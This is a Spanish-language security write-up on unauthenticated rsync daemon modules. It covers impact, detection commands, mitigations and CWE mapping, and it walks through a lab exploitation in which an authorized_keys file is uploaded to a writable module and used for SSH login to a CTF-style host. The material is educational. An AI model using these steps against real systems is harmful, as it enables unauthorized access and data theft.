1. Descripción técnica del ataque
rsync puede ejecutarse como demonio (puerto 873/TCP) exponiendo módulos (directorios compartidos) para sincronización de archivos por red. Cuando un módulo se configura sin autenticación (o con credenciales débiles) y con permisos amplios, un atacante remoto puede:
- Listar los módulos disponibles y su contenido.
- Descargar archivos sensibles (claves SSH, configuraciones, datos).
- Subir archivos si el módulo permite escritura (
read only = no), lo que se aprovecha típicamente para colocar unauthorized_keysen el home de un usuario y obtener acceso por SSH.
No es un fallo del binario, sino una mala configuración del demonio rsync que expone datos o escritura a clientes no autenticados.
2. Impacto de la vulnerabilidad
- Lectura de archivos sensibles del sistema (acceso inicial / fuga de información).
- Escritura arbitraria en rutas expuestas → acceso por SSH (vía
authorized_keys) o sobrescritura de archivos. - A menudo el módulo mapea el home de un usuario, lo que facilita directamente la entrada.
3. Historia y evolución
- El demonio rsync existe desde hace décadas y sigue usándose para backups y mirrors.
- La exposición de módulos sin autenticación es un hallazgo recurrente en pentesting y CTFs, especialmente cuando el módulo apunta a un home con
read only = no.
4. Factores que la hacen posible
- El demonio rsync accesible en el puerto 873.
- Un módulo sin autenticación (sin
auth users/secrets file) o con credenciales débiles. - Permisos de lectura/escritura sobre rutas sensibles (home de usuario, configuraciones).
5. Detección
nmap -sCV -p873 target # rsync (protocol version 31)
# Listar módulos
rsync rsync://target/
# Listar contenido de un módulo
rsync rsync://target/share/6. Mitigación
- Requerir autenticación (
auth users+secrets file) en cada módulo. - Configurar los módulos como
read only = truesalvo necesidad. - Restringir por IP (
hosts allow) y no exponer rsync a redes no confiables. - Limitar las rutas expuestas a directorios no sensibles.
7. Ejemplo de explotación real
Listamos módulos, comprobamos escritura y subimos un authorized_keys para entrar por SSH:
❯ rsync rsync://192.168.1.62/
share wally (home)
❯ rsync rsync://192.168.1.62/share/
drwx------ 4.096 2025/02/13 21:24:04 .
-r-------- 33 2024/07/11 11:34:21 user.txt
...
# El módulo permite escritura → subimos nuestra clave
❯ rsync -av --mkpath .ssh/ rsync://192.168.1.62/share/.ssh
❯ ssh wally@192.168.1.62 -i rsync/.ssh/id_rsa
wally@send:~$8. Clasificación
- Tipo: Security Misconfiguration / Information Disclosure / Arbitrary File Write
- CWE:
- CWE-306 – Missing Authentication for Critical Function
- CWE-732 – Incorrect Permission Assignment for Critical Resource
9. Resumen
Un demonio rsync con módulos sin autenticación permite leer y, a menudo, escribir archivos en rutas sensibles; el vector clásico es subir un authorized_keys al home de un usuario para entrar por SSH. La defensa es exigir autenticación, usar read only y restringir por IP. Relacionado con NFS no_root_squash Privesc como abuso de servicios de archivos compartidos.